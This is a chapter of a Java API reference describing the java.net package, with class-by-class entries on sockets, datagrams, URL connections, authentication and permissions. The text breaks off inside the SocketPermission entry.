The java.net package provides a powerful and flexible infrastructure for networking. Figure 16-1 and Figure 16-2 show the class hierarchy for this package. Many of the classes in this package are part of the networking infrastructure and are not used by normal applications; these complicated classes can make the package a difficult one to understand. In this overview, I describe only the classes an application might normally use.

Figure 16-1. The classes of the java.net package

Figure 16-2. The exceptions of the java.net package

The URL class represents an Internet uniform resource locator (URL). It provides a very simple interface to networking: the object referred to by the URL can be downloaded with a single call, or streams may be opened to read from or write to the object. At a slightly more complex level, a URLConnection object can be obtained from a given URL object. The URLConnection class provides additional methods that allow you to work with URLs in more sophisticated ways.

If you want to do more than simply download an object referenced by a URL, you can do your own networking with the Socket class. This class allows you to connect to a specified port on a specified Internet host and read and write data using the InputStream and OutputStream classes of the java.io package. If you want to implement a server to accept connections from clients, you can use the related ServerSocket class. Both Socket and ServerSocket use the InetAddress address class, which represents an Internet address.

The java.net package allows you to do low-level networking with DatagramPacket objects, which may be sent and received over the network through a DatagramSocket object. As of Java 1.1, the package has been extended to include a MulticastSocket class that supports multicast networking.

Authenticator Java 1.2
java.net

This abstract class defines a customizable mechanism for requesting and performing password authentication. The static setDefault() method establishes the systemwide Authenticator object to use when password authentication is requested. The implementation can obtain the required authentication information from the user however it wants (e.g., through a text- or a GUI-based interface). setDefault() can be called only once; subsequent calls are ignored. Calling setDefault() requires an appropriate NetPermission.

When an application or the Java runtime system requires password authentication (to read the contents of a specified URL, for example), it calls the static requestPasswordAuthentication() method, passing arguments that specify the host and port for which the password is required and a prompt that may be displayed to the user. This method looks up the default Authenticator for the system and calls its getPasswordAuthentication() method. Calling requestPasswordAuthentication() requires an appropriate NetPermission.

Authenticator is an abstract class; its default implementation of getPasswordAuthentication() always returns null. To create an Authenticator, you must override this method so that it prompts the user to enter a username and password and returns that information in the form of a PasswordAuthentication object. Your implementation of getPasswordAuthentication() may call the various getRequesting() methods to find who is requesting the password and what the recommended user prompt is.

public abstract class Authenticator {
// | Public Constructors
 | public Authenticator (); |
// | Public Class Methods
 | public static PasswordAuthentication requestPasswordAuthentication (InetAddress addr, int port, String protocol, String prompt, String scheme); |
 | public static void setDefault (Authenticator a); | synchronized
// | Protected Instance Methods
 | protected PasswordAuthentication getPasswordAuthentication (); | constant
 | protected final int getRequestingPort (); |
 | protected final String getRequestingPrompt (); |
 | protected final String getRequestingProtocol (); |
 | protected final String getRequestingScheme (); |
 | protected final InetAddress getRequestingSite (); |
}

Passed To: Authenticator.setDefault()

BindException | Java 1.1
java.net | serializable checked PJ1.1

Signals that a socket cannot be bound to a local address and port. This often means that the port is already in use.

public class BindException extends SocketException {
// | Public Constructors
 | public BindException ();
 | public BindException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->SocketException-->BindException

ConnectException | Java 1.1
java.net | serializable checked PJ1.1

Signals that a socket cannot be connected to a remote address and port. This means that the remote host can be reached, but is not responding, perhaps because there is no process on that host that is listening on the specified port.

public class ConnectException extends SocketException {
// | Public Constructors
 | public ConnectException ();
 | public ConnectException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->SocketException-->java.net.ConnectException

ContentHandler | Java 1.0
java.net | PJ1.1

This abstract class defines a method that reads data from a URLConnection and returns an object that represents that data. Each subclass that implements this method is responsible for handling a different type of content (i.e., a different MIME type). Applications never create ContentHandler objects directly; they are created, when necessary, by the registered ContentHandlerFactory object. Applications should also never call ContentHandler methods directly; they should call URL.getContent() or URLConnection.getContent() instead. You need to subclass ContentHandler only if you are writing a web browser or similar application that needs to parse and understand some new content type.

public abstract class ContentHandler {
// | Public Constructors
 | public ContentHandler ();
// | Public Instance Methods
 | public abstract Object getContent (URLConnection urlc) throws java.io.IOException;
1.3 | public Object getContent (URLConnection urlc, Class[ ] classes) throws java.io.IOException;
}

Returned By: ContentHandlerFactory.createContentHandler()

ContentHandlerFactory | Java 1.0
java.net | PJ1.1

This interface defines a method that creates and returns an appropriate ContentHandler object for a specified MIME type. A systemwide ContentHandlerFactory interface may be specified using the URLConnection.setContentHandlerFactory() method. Normal applications never need to use or implement this interface.

public interface ContentHandlerFactory {
// | Public Instance Methods
 | public abstract ContentHandler createContentHandler (String mimetype);
}

Passed To: URLConnection.setContentHandlerFactory()

DatagramPacket | Java 1.0
java.net | PJ1.1

This class implements a packet of data that may be sent or received over the network through a DatagramSocket. One of the DatagramPacket constructors specifies an array of binary data to be sent with its destination address and port. A packet created with this constructor can then be sent with the send() method of a DatagramSocket. The other DatagramPacket constructor specifies an array of bytes into which data should be received. The receive() method of DatagramSocket waits for data and stores it in a DatagramPacket created in this way. The contents and sender of a received packet can be queried with the DatagramPacket instance methods.

public final class DatagramPacket {
// | Public Constructors
 | public DatagramPacket (byte[ ] buf, int length); |
1.2 | public DatagramPacket (byte[ ] buf, int offset, int length); |
 | public DatagramPacket (byte[ ] buf, int length, InetAddress address, int port); |
1.2 | public DatagramPacket (byte[ ] buf, int offset, int length, InetAddress address, int port); |
// | Property Accessor Methods (by property name)
 | public InetAddress getAddress (); | synchronized
1.1 | public void setAddress (InetAddress iaddr); | synchronized
 | public byte[ ] getData (); | synchronized
1.1 | public void setData (byte[ ] buf); | synchronized
1.2 | public void setData (byte[ ] buf, int offset, int length); | synchronized
 | public int getLength (); | synchronized
1.1 | public void setLength (int length); | synchronized
1.2 | public int getOffset (); | synchronized
 | public int getPort (); | synchronized
1.1 | public void setPort (int iport); | synchronized
}

Passed To: DatagramSocket.{receive(), send()}, DatagramSocketImpl.{receive(), send()}, MulticastSocket.send()

DatagramSocket | Java 1.0
java.net | PJ1.1

This class defines a socket that can receive and send unreliable datagram packets over the network using the UDP protocol. A datagram is a very low-level networking interface: it is simply an array of bytes sent over the network. A datagram does not implement any kind of stream-based communication protocol, and there is no connection established between the sender and the receiver. Datagram packets are called "unreliable" because the protocol does not make any attempt to ensure they arrive or to resend them if they don't. Thus, packets sent through a DatagramSocket are not guaranteed to arrive in the order sent or even to arrive at all. On the other hand, this low-overhead protocol makes datagram transmission very fast. See Socket and URL for higher-level interfaces to networking.

If a port is specified when the DatagramSocket is created, that port is used for sending and receiving datagrams; otherwise, the system assigns a port. getLocalPort() returns the port number in use. send() sends a DatagramPacket through the socket. The packet must contain the destination address to which it should be sent. receive() waits for data to arrive at the socket and stores it, along with the address of the sender, in the specified DatagramPacket. close() closes the socket and frees the port for reuse. Once close() has been called, the DatagramSocket should not be used again.

Each time a packet is sent or received, the system must perform a security check to ensure that the calling code has permission to send data to or receive data from the specified host. In Java 1.2 and later, if you are sending multiple packets to or receiving multiple packets from a single host, use connect() to specify the host with which you are communicating. This causes the security check to be done a single time, but does not allow the socket to communicate with any other host until disconnect() is called. Use getInetAddress() and getPort() to obtain the host and port, if any, the socket is connected to.

setSoTimeout() specifies the number of milliseconds that receive() waits for a packet to arrive before throwing an InterruptedIOException. Specify 0 milliseconds to wait forever. setSendBufferSize() and setReceiveBufferSize() set hints as to the underlying size of the networking buffers.

public class DatagramSocket {
// | Public Constructors
 | public DatagramSocket () throws SocketException; |
 | public DatagramSocket (int port) throws SocketException; |
1.1 | public DatagramSocket (int port, InetAddress laddr) throws SocketException; |
// | Public Class Methods
1.3 | public static void setDatagramSocketImplFactory (DatagramSocketImplFactory fac) throws java.io.IOException; | synchronized
// | Property Accessor Methods (by property name)
1.2 | public InetAddress getInetAddress (); | default:null
1.1 | public InetAddress getLocalAddress (); |
 | public int getLocalPort (); | default:1029
1.2 | public int getPort (); | default:-1
1.2 | public int getReceiveBufferSize () throws SocketException; | synchronized default:8192
1.2 | public void setReceiveBufferSize (int size) throws SocketException; | synchronized
1.2 | public int getSendBufferSize () throws SocketException; | synchronized default:8192
1.2 | public void setSendBufferSize (int size) throws SocketException; | synchronized
1.1 | public int getSoTimeout () throws SocketException; | synchronized default:0
1.1 | public void setSoTimeout (int timeout) throws SocketException; | synchronized
// | Public Instance Methods
 | public void close (); |
1.2 | public void connect (InetAddress address, int port); |
1.2 | public void disconnect (); |
 | public void receive (DatagramPacket p) throws java.io.IOException; | synchronized
 | public void send (DatagramPacket p) throws java.io.IOException; |
}

Subclasses: MulticastSocket

DatagramSocketImpl | Java 1.1
java.net | PJ1.1

This abstract class defines the methods necessary to implement communication through datagram and multicast sockets. System programmers may create subclasses of this class when they need to implement datagram or multicast sockets in a nonstandard network environment, such as behind a firewall or on a network that uses a nonstandard transport protocol. Normal applications never need to use or subclass this class.

public abstract class DatagramSocketImpl implements SocketOptions {
// | Public Constructors
 | public DatagramSocketImpl ();
// | Methods Implementing SocketOptions
 | public abstract Object getOption (int optID) throws SocketException;
 | public abstract void setOption (int optID, Object value) throws SocketException;
// | Protected Instance Methods
 | protected abstract void bind (int lport, InetAddress laddr) throws SocketException;
 | protected abstract void close ();
 | protected abstract void create () throws SocketException;
 | protected java.io.FileDescriptor getFileDescriptor ();
 | protected int getLocalPort ();
1.2 | protected abstract int getTimeToLive () throws java.io.IOException;
 | protected abstract void join (InetAddress inetaddr) throws java.io.IOException;
 | protected abstract void leave (InetAddress inetaddr) throws java.io.IOException;
 | protected abstract int peek (InetAddress i) throws java.io.IOException;
 | protected abstract void receive (DatagramPacket p) throws java.io.IOException;
 | protected abstract void send (DatagramPacket p) throws java.io.IOException;
1.2 | protected abstract void setTimeToLive (int ttl) throws java.io.IOException;
// | Protected Instance Fields
 | protected java.io.FileDescriptor fd ;
 | protected int localPort ;
// | Deprecated Protected Methods
# | protected abstract byte getTTL () throws java.io.IOException;
# | protected abstract void setTTL (byte ttl) throws java.io.IOException;
}

Hierarchy: Object-->DatagramSocketImpl(SocketOptions)

Returned By: DatagramSocketImplFactory.createDatagramSocketImpl()

DatagramSocketImplFactory Java 1.3 Beta
java.net

This interface defines a method that creates DatagramSocketImpl objects. You can register an instance of this factory interface with the static setDatagramSocketImplFactory() method of DatagramSocket. Application-level code never needs to use or implement this interface.

public interface DatagramSocketImplFactory {
// | Public Instance Methods
 | public abstract DatagramSocketImpl createDatagramSocketImpl ();
}

Passed To: DatagramSocket.setDatagramSocketImplFactory()

FileNameMap | Java 1.1
java.net | PJ1.1

This interface defines a single method that is called to obtain the MIME type of a file based on the name of the file. The fileNameMap field of the URLConnection class refers to an object that implements this interface. The filename-to-file-type map it implements is used by the static URLConnection.guessContentTypeFromName() method.

public interface FileNameMap {
// | Public Instance Methods
 | public abstract String getContentTypeFor (String fileName);
}

Passed To: URLConnection.setFileNameMap()

Returned By: URLConnection.getFileNameMap()

HttpURLConnection | Java 1.1
java.net | PJ1.1

This class is a specialization of URLConnection. An instance of this class is returned when the openConnection() method is called for a URL object that uses the HTTP protocol. The many constants defined by this class are the status codes returned by HTTP servers. setRequestMethod() specifies what kind of HTTP request is made. The contents of this request must be sent through the OutputStream returned by the getOutputStream() method of the superclass. Once an HTTP request has been sent, getResponseCode() returns the HTTP server's response code as an integer, and getResponseMessage() returns the server's response message. The disconnect() method closes the connection. The static setFollowRedirects() specifies whether URL connections that use the HTTP protocol should automatically follow redirect responses sent by HTTP servers. In order to successfully use this class, you need to understand the details of the HTTP protocol.

public abstract class HttpURLConnection extends URLConnection {
// | Protected Constructors
 | protected HttpURLConnection (URL u); |
// | Public Constants
 | public static final int HTTP_ACCEPTED ; | =202
 | public static final int HTTP_BAD_GATEWAY ; | =502
 | public static final int HTTP_BAD_METHOD ; | =405
 | public static final int HTTP_BAD_REQUEST ; | =400
 | public static final int HTTP_CLIENT_TIMEOUT ; | =408
 | public static final int HTTP_CONFLICT ; | =409
 | public static final int HTTP_CREATED ; | =201
 | public static final int HTTP_ENTITY_TOO_LARGE ; | =413
 | public static final int HTTP_FORBIDDEN ; | =403
 | public static final int HTTP_GATEWAY_TIMEOUT ; | =504
 | public static final int HTTP_GONE ; | =410
 | public static final int HTTP_INTERNAL_ERROR ; | =500
 | public static final int HTTP_LENGTH_REQUIRED ; | =411
 | public static final int HTTP_MOVED_PERM ; | =301
 | public static final int HTTP_MOVED_TEMP ; | =302
 | public static final int HTTP_MULT_CHOICE ; | =300
 | public static final int HTTP_NO_CONTENT ; | =204
 | public static final int HTTP_NOT_ACCEPTABLE ; | =406
 | public static final int HTTP_NOT_AUTHORITATIVE ; | =203
 | public static final int HTTP_NOT_FOUND ; | =404
1.3 | public static final int HTTP_NOT_IMPLEMENTED ; | =501
 | public static final int HTTP_NOT_MODIFIED ; | =304
 | public static final int HTTP_OK ; | =200
 | public static final int HTTP_PARTIAL ; | =206
 | public static final int HTTP_PAYMENT_REQUIRED ; | =402
 | public static final int HTTP_PRECON_FAILED ; | =412
 | public static final int HTTP_PROXY_AUTH ; | =407
 | public static final int HTTP_REQ_TOO_LONG ; | =414
 | public static final int HTTP_RESET ; | =205
 | public static final int HTTP_SEE_OTHER ; | =303
 | public static final int HTTP_UNAUTHORIZED ; | =401
 | public static final int HTTP_UNAVAILABLE ; | =503
 | public static final int HTTP_UNSUPPORTED_TYPE ; | =415
 | public static final int HTTP_USE_PROXY ; | =305
 | public static final int HTTP_VERSION ; | =505
// | Public Class Methods
 | public static boolean getFollowRedirects (); |
 | public static void setFollowRedirects (boolean set); |
// | Public Instance Methods
 | public abstract void disconnect (); |
1.2 | public java.io.InputStream getErrorStream (); | constant
 | public String getRequestMethod (); |
 | public int getResponseCode () throws java.io.IOException; |
 | public String getResponseMessage () throws java.io.IOException; |
 | public void setRequestMethod (String method) throws ProtocolException; |
 | public abstract boolean usingProxy (); |
// | Public Methods Overriding URLConnection
1.3 | public long getHeaderFieldDate (String name, long Default); |
1.2 | public java.security.Permission getPermission () throws java.io.IOException; |
// | Protected Instance Fields
 | protected String method ; |
 | protected int responseCode ; |
 | protected String responseMessage ; |
// | Deprecated Public Fields
# | public static final int HTTP_SERVER_ERROR ; | =500
}

Hierarchy: Object-->URLConnection-->HttpURLConnection

InetAddress | Java 1.0
java.net | serializable PJ1.1

This class represents an Internet address and is used when creating DatagramPacket or Socket objects. The class does not have a public constructor function, but instead supports three static methods that return one or more instances of InetAddress. getLocalHost() returns an InetAddress for the local host. getByName() returns the InetAddress of a host specified by name. getAllByName() returns an array of InetAddress objects that represents all the available addresses for a host specified by name. Instance methods are getHostName(), which returns the hostname of an InetAddress, and getAddress(), which returns the Internet IP address as an array of bytes, with the highest-order byte as the first element of the array.

public final class InetAddress implements Serializable {
// | No Constructor
// | Public Class Methods
 | public static InetAddress[ ] getAllByName (String host) throws java.net.UnknownHostException; |
 | public static InetAddress getByName (String host) throws java.net.UnknownHostException; |
 | public static InetAddress getLocalHost () throws java.net.UnknownHostException; | synchronized
// | Property Accessor Methods (by property name)
 | public byte[ ] getAddress (); |
 | public String getHostAddress (); |
 | public String getHostName (); |
1.1 | public boolean isMulticastAddress (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->InetAddress(Serializable)

Passed To: Too many methods to list.

Returned By: Authenticator.getRequestingSite(), DatagramPacket.getAddress(), DatagramSocket.{getInetAddress(), getLocalAddress()}, InetAddress.{getAllByName(), getByName(), getLocalHost()}, MulticastSocket.getInterface(), ServerSocket.getInetAddress(), Socket.{getInetAddress(), getLocalAddress()}, SocketImpl.getInetAddress(), URLStreamHandler.getHostAddress()

Type Of: SocketImpl.address

JarURLConnection Java 1.2
java.net

This class is a specialized URLConnection that represents a connection to a jar: URL. A jar: URL is a compound URL that includes the URL of a JAR archive and, optionally, a reference to a file or directory within the JAR archive. The jar: URL syntax uses the ! character to separate the pathname of the JAR archive from the filename within the JAR archive. Note that a jar: URL contains a subprotocol that specifies the protocol that retrieves the JAR file itself. For example:

jar:http://my.jar.com/my.jar!/                                   // The whole archive
jar:file:/usr/java/lib/my.jar!/com/jar/                      // A directory of the archive
jar:ftp://ftp.jar.com/pub/my.jar!/com/jar/Jar.class  // A file in the archive

To obtain a JarURLConnection, define a URL object for a jar: URL, open a connection to it with openConnection(), and cast the returned URLConnection object to a JarURLConnection. The various methods defined by JarURLConnection allow you to read the manifest file of the JAR archive and look up attributes from that manifest for the archive as a whole or for individual entries in the archive. These methods make use of various classes from the java.util.jar package.

public abstract class JarURLConnection extends URLConnection {
// | Protected Constructors
 | protected JarURLConnection (URL url) throws MalformedURLException;
// | Property Accessor Methods (by property name)
 | public java.util.jar.Attributes getAttributes () throws java.io.IOException;
 | public java.security.cert.Certificate[ ] getCertificates () throws java.io.IOException;
 | public String getEntryName ();
 | public java.util.jar.JarEntry getJarEntry () throws java.io.IOException;
 | public abstract java.util.jar.JarFile getJarFile () throws java.io.IOException;
 | public URL getJarFileURL ();
 | public java.util.jar.Attributes getMainAttributes () throws java.io.IOException;
 | public java.util.jar.Manifest getManifest () throws java.io.IOException;
// | Protected Instance Fields
 | protected URLConnection jarFileURLConnection ;
}

Hierarchy: Object-->URLConnection-->JarURLConnection

MalformedURLException | Java 1.0
java.net | serializable checked PJ1.1

Signals that an unparseable URL specification has been passed to a method.

public class MalformedURLException extends java.io.IOException {
// | Public Constructors
 | public MalformedURLException ();
 | public MalformedURLException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->MalformedURLException

Thrown By: Too many methods to list.

MulticastSocket | Java 1.1
java.net | PJ1.1

This subclass of DatagramSocket can send and receive multicast UDP packets. It extends DatagramSocket by adding joinGroup() and leaveGroup() methods to join and leave multicast groups. The IP address specified to these methods should be a valid multicast address in the range of 224.0.0.1 to 239.255.255.255. Note that you do not have to join a group to send a packet to a multicast address, but you must join the group to receive packets sent to that address. Note that untrusted code is not allowed to use multicast sockets.

MulticastSocket defines a variant send() method that allows you to specify a time-to-live (TTL) value for the packet you send. This value specifies the number of network hops the packet can travel before it expires. You can also set a default TTL for all packets sent though a MulticastSocket with setTimeToLive(), or, prior to Java 1.2, with setTTL().

public class MulticastSocket extends DatagramSocket {
// | Public Constructors
 | public MulticastSocket () throws java.io.IOException; |
 | public MulticastSocket (int port) throws java.io.IOException; |
// | Property Accessor Methods (by property name)
 | public InetAddress getInterface () throws SocketException; |
 | public void setInterface (InetAddress inf) throws SocketException; |
1.2 | public int getTimeToLive () throws java.io.IOException; | default:1
1.2 | public void setTimeToLive (int ttl) throws java.io.IOException; |
// | Public Instance Methods
 | public void joinGroup (InetAddress mcastaddr) throws java.io.IOException; |
 | public void leaveGroup (InetAddress mcastaddr) throws java.io.IOException; |
 | public void send (DatagramPacket p, byte ttl) throws java.io.IOException; |
// | Deprecated Public Methods
# | public byte getTTL () throws java.io.IOException; | default:1
# | public void setTTL (byte ttl) throws java.io.IOException; |
}

Hierarchy: Object-->DatagramSocket-->MulticastSocket

NetPermission | Java 1.2
java.net | serializable permission

This class is a java.security.Permission that represents various permissions required for Java's URL-based networking system. See also SocketPermission, which represents permissions to perform lower-level networking operations. A NetPermission is defined solely by its name; no actions list is required or supported. As of Java 1.2, there are three NetPermission targets defined: "setDefaultAuthenticator" is required to call Authenticator.setDefault(); "requestPasswordAuthentication" to call Authenticator.requestPasswordAuthentication(); and "specifyStreamHandler" to explicitly pass a URLStreamHandler object to the URL() constructor. The target "*" is a wildcard that represents all defined NetPermission targets.

System administrators configuring security policies must be familiar with this class and the permissions it represents. System programmers may use this class, but application programmers never need to use it explicitly.

public final class NetPermission extends java.security.BasicPermission {
// | Public Constructors
 | public NetPermission (String name);
 | public NetPermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(java.security.Guard,Serializable)-->java.security.BasicPermission(Serializable)-->NetPermission

NoRouteToHostException | Java 1.1
java.net | serializable checked PJ1.1

This exception signals that a socket cannot be connected to a remote host because the host cannot be contacted. Typically, this means that some link in the network between the local machine and the remote host is down or that the host is behind a firewall.

public class NoRouteToHostException extends SocketException {
// | Public Constructors
 | public NoRouteToHostException ();
 | public NoRouteToHostException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->SocketException-->NoRouteToHostException

PasswordAuthentication Java 1.2
java.net

This simple immutable class encapsulates a username and a password. The password is stored as a character array rather than as a String object so that the caller can erase the contents of the array after use for increased security. Note that the PasswordAuthentication() constructor clones the specified password character array, but getPassword() returns a reference to the object's internal array. Obtain a PasswordAuthentication object by calling Authenticator.requestPasswordAuthentication().

public final class PasswordAuthentication {
// | Public Constructors
 | public PasswordAuthentication (String userName, char[ ] password);
// | Public Instance Methods
 | public char[ ] getPassword ();
 | public String getUserName ();
}

Returned By: Authenticator.{getPasswordAuthentication(), requestPasswordAuthentication()}

ProtocolException | Java 1.0
java.net | serializable checked PJ1.1

Signals a protocol error in the Socket class.

public class ProtocolException extends java.io.IOException {
// | Public Constructors
 | public ProtocolException ();
 | public ProtocolException (String host);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->ProtocolException

Thrown By: HttpURLConnection.setRequestMethod()

ServerSocket | Java 1.0
java.net | PJ1.1

This class is used by servers to listen for connection requests from clients. When you create a ServerSocket, you specify the port to listen on. The accept() method begins listening on that port and blocks until a client requests a connection on the port. At that point, accept() accepts the connection, creating and returning a Socket the server can use to communicate with the client. A typical server starts a new thread to handle the communication with the client and calls accept() again to listen for another connection. If you do not want accept() to block for an indefinite amount of time, call setSoTimeout() to specify the number of milliseconds accept() should wait for a connection before throwing an InterruptedIOException.

public class ServerSocket {
// | Public Constructors
 | public ServerSocket (int port) throws java.io.IOException; |
 | public ServerSocket (int port, int backlog) throws java.io.IOException; |
1.1 | public ServerSocket (int port, int backlog, InetAddress bindAddr) throws java.io.IOException; |
// | Public Class Methods
 | public static void setSocketFactory (SocketImplFactory fac) throws java.io.IOException; | synchronized
// | Property Accessor Methods (by property name)
 | public InetAddress getInetAddress (); |
 | public int getLocalPort (); |
1.1 | public int getSoTimeout () throws java.io.IOException; | synchronized
1.1 | public void setSoTimeout (int timeout) throws SocketException; | synchronized
// | Public Instance Methods
 | public Socket accept () throws java.io.IOException; |
 | public void close () throws java.io.IOException; |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
1.1 | protected final void implAccept (Socket s) throws java.io.IOException; |
}

Returned By: java.rmi.server.RMIServerSocketFactory.createServerSocket(), java.rmi.server.RMISocketFactory.createServerSocket()

Socket | Java 1.0
java.net | PJ1.1

This class implements a socket for stream-based interprocess communication over the network. See URL for a higher-level interface to networking and DatagramSocket for a lower-level interface.

Use the Socket() constructor to create a socket and connect it to the specified host and port. Once the socket is created, getInputStream() and getOutputStream() return InputStream and OutputStream objects you can use to communicate with the remote host, just as you would use them for file input and output. getInetAddress() and getPort() return the address and port to which the socket is connected. getLocalPort() returns the local port the socket is using. See ServerSocket for information about how a server can listen for and accept connections of this type. When you are done with a Socket, use close() to close it. In Java 1.3, you can also use shutdownInput() and shutdownOutput() to close the input and output communication channels individually.

There are several options you can specify for a Socket object to alter its behavior. setSendBufferSize() and setReceiveBufferSize() provide hints to the underlying networking system as to what buffer size is best to use with this socket. setSoTimeout() specifies the number of milliseconds a read() call on the input stream returned by getInputStream() waits for data before throwing an InterruptedIOException. The default value of 0 specifies that the stream blocks indefinitely. setSoLinger() specifies what to do when a socket is closed while there is still data waiting to be transmitted. If lingering is turned on, the close() call blocks for up to the specified number of seconds while attempting to transmit the remaining data. Calling setTcpNoDelay() with an argument of true causes data to be sent through the socket as soon as it is available, instead of waiting for the TCP packet to become more full before sending it. In Java 1.3, use setKeepAlive() to enable or disable the periodic exchange of control messages across an idle socket connection. The keepalive protocol enables a client to determine if its server has crashed without closing the socket and vice versa.

public class Socket {
// | Public Constructors
 | public Socket (String host, int port) throws java.net.UnknownHostExceptionjava.io.IOException; |
 | public Socket (InetAddress address, int port) throws java.io.IOException; |
# | public Socket (String host, int port, boolean stream) throws java.io.IOException; |
# | public Socket (InetAddress host, int port, boolean stream) throws java.io.IOException; |
1.1 | public Socket (String host, int port, InetAddress localAddr, int localPort) throws java.io.IOException; |
1.1 | public Socket (InetAddress address, int port, InetAddress localAddr, int localPort) throws java.io.IOException; |
// | Protected Constructors
 | protected Socket (); |
1.1 | protected Socket (SocketImpl impl) throws SocketException; |
// | Public Class Methods
 | public static void setSocketImplFactory (SocketImplFactory fac) throws java.io.IOException; | synchronized
// | Property Accessor Methods (by property name)
 | public InetAddress getInetAddress (); |
 | public java.io.InputStream getInputStream () throws java.io.IOException; |
1.3 | public boolean getKeepAlive () throws SocketException; |
1.3 | public void setKeepAlive (boolean on) throws SocketException; |
1.1 | public InetAddress getLocalAddress (); |
 | public int getLocalPort (); |
 | public java.io.OutputStream getOutputStream () throws java.io.IOException; |
 | public int getPort (); |
1.2 | public int getReceiveBufferSize () throws SocketException; | synchronized
1.2 | public void setReceiveBufferSize (int size) throws SocketException; | synchronized
1.2 | public int getSendBufferSize () throws SocketException; | synchronized
1.2 | public void setSendBufferSize (int size) throws SocketException; | synchronized
1.1 | public int getSoLinger () throws SocketException; |
1.1 | public int getSoTimeout () throws SocketException; | synchronized
1.1 | public void setSoTimeout (int timeout) throws SocketException; | synchronized
1.1 | public boolean getTcpNoDelay () throws SocketException; |
1.1 | public void setTcpNoDelay (boolean on) throws SocketException; |
// | Public Instance Methods
 | public void close () throws java.io.IOException; | synchronized
1.1 | public void setSoLinger (boolean on, int linger) throws SocketException; |
1.3 | public void shutdownInput () throws java.io.IOException; |
1.3 | public void shutdownOutput () throws java.io.IOException; |
// | Public Methods Overriding Object
 | public String toString (); |
}

Passed To: ServerSocket.implAccept()

Returned By: ServerSocket.accept(), java.rmi.server.RMIClientSocketFactory.createSocket(), java.rmi.server.RMISocketFactory.createSocket()

SocketException | Java 1.0
java.net | serializable checked PJ1.1

Signals an exceptional condition while using a socket.

public class SocketException extends java.io.IOException {
// | Public Constructors
 | public SocketException ();
 | public SocketException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.io.IOException-->SocketException

Subclasses: BindException, java.net.ConnectException, NoRouteToHostException

Thrown By: Too many methods to list.

SocketImpl | Java 1.0
java.net | PJ1.1

This abstract class defines the methods necessary to implement communication through sockets. Different subclasses of this class may provide different implementations suitable in different environments (such as behind firewalls). These socket implementations are used by the Socket and ServerSocket classes. Normal applications never need to use or subclass this class.

public abstract class SocketImpl implements SocketOptions {
// | Public Constructors
 | public SocketImpl ();
// | Methods Implementing SocketOptions
1.1 | public abstract Object getOption (int optID) throws SocketException;
1.1 | public abstract void setOption (int optID, Object value) throws SocketException;
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected abstract void accept (SocketImpl s) throws java.io.IOException;
 | protected abstract int available () throws java.io.IOException;
 | protected abstract void bind (InetAddress host, int port) throws java.io.IOException;
 | protected abstract void close () throws java.io.IOException;
 | protected abstract void connect (String host, int port) throws java.io.IOException;
 | protected abstract void connect (InetAddress address, int port) throws java.io.IOException;
 | protected abstract void create (boolean stream) throws java.io.IOException;
 | protected java.io.FileDescriptor getFileDescriptor ();
 | protected InetAddress getInetAddress ();
 | protected abstract java.io.InputStream getInputStream () throws java.io.IOException;
 | protected int getLocalPort ();
 | protected abstract java.io.OutputStream getOutputStream () throws java.io.IOException;
 | protected int getPort ();
 | protected abstract void listen (int backlog) throws java.io.IOException;
1.3 | protected void shutdownInput () throws java.io.IOException;
1.3 | protected void shutdownOutput () throws java.io.IOException;
// | Protected Instance Fields
 | protected InetAddress address ;
 | protected java.io.FileDescriptor fd ;
 | protected int localport ;
 | protected int port ;
}

Hierarchy: Object-->SocketImpl(SocketOptions)

Passed To: Socket.Socket(), SocketImpl.accept()

Returned By: SocketImplFactory.createSocketImpl()

SocketImplFactory | Java 1.0
java.net | PJ1.1

This interface defines a method that creates SocketImpl objects. SocketImplFactory objects may be registered to create SocketImpl objects for the Socket and ServerSocket classes. Normal applications never need to use or implement this interface.

public interface SocketImplFactory {
// | Public Instance Methods
 | public abstract SocketImpl createSocketImpl ();
}

Passed To: ServerSocket.setSocketFactory(), Socket.setSocketImplFactory()

SocketOptions Java 1.2
java.net

This interface defines constants that represent low-level BSD Unix-style socket options and methods that set and query the value of those options. In Java 1.2, SocketImpl and DatagramSocketImpl implement this interface. Any custom socket implementations you define should also provide meaningful implementations for the getOption() and setOption() methods. Your implementation may support options other than those defined here. Only custom socket implementations need to use this interface. All other code can use methods defined by Socket, ServerSocket, DatagramSocket, and MulticastSocket to set specific socket options for those socket types.

public interface SocketOptions {
// | Public Constants
 | public static final int IP_MULTICAST_IF ; | =16
 | public static final int SO_BINDADDR ; | =15
1.3 | public static final int SO_KEEPALIVE ; | =8
 | public static final int SO_LINGER ; | =128
 | public static final int SO_RCVBUF ; | =4098
 | public static final int SO_REUSEADDR ; | =4
 | public static final int SO_SNDBUF ; | =4097
 | public static final int SO_TIMEOUT ; | =4102
 | public static final int TCP_NODELAY ; | =1
// | Public Instance Methods
 | public abstract Object getOption (int optID) throws SocketException; |
 | public abstract void setOption (int optID, Object value) throws SocketException; |
}

Implementations: DatagramSocketImpl, SocketImpl

SocketPermission | Java 1.2
java.net | serializable permission

This class is a java.security.Permission that governs all networking operations performed with sockets. Like all permissions, a SocketPermission consists of a name, or target, and a list of actions that may be performed on that target. The target of a SocketPermission is the host and, optionally, the port or ports for which permission is being granted or requested. The target consists of a hostname optionally followed by a colon and a port specification. The host may be a DNS domain name, a numerical IP address, or the string "localhost". If you specify a host domain name, you may use * as a wildcard as the leftmost portion of the hostname. The port specification, if present, must be a single port number or a range of port numbers in the form n1-n2. If n1 is omitted, it is taken to be 0, and if n2 is omitted, it is taken to be 65535. If no port is specified, the socket permission applies to all ports of the specified host. Here are some legal SocketPermission targets:

java.sun.com:80
*.sun.com:1024-2000
*:1024-
localhost:-1023

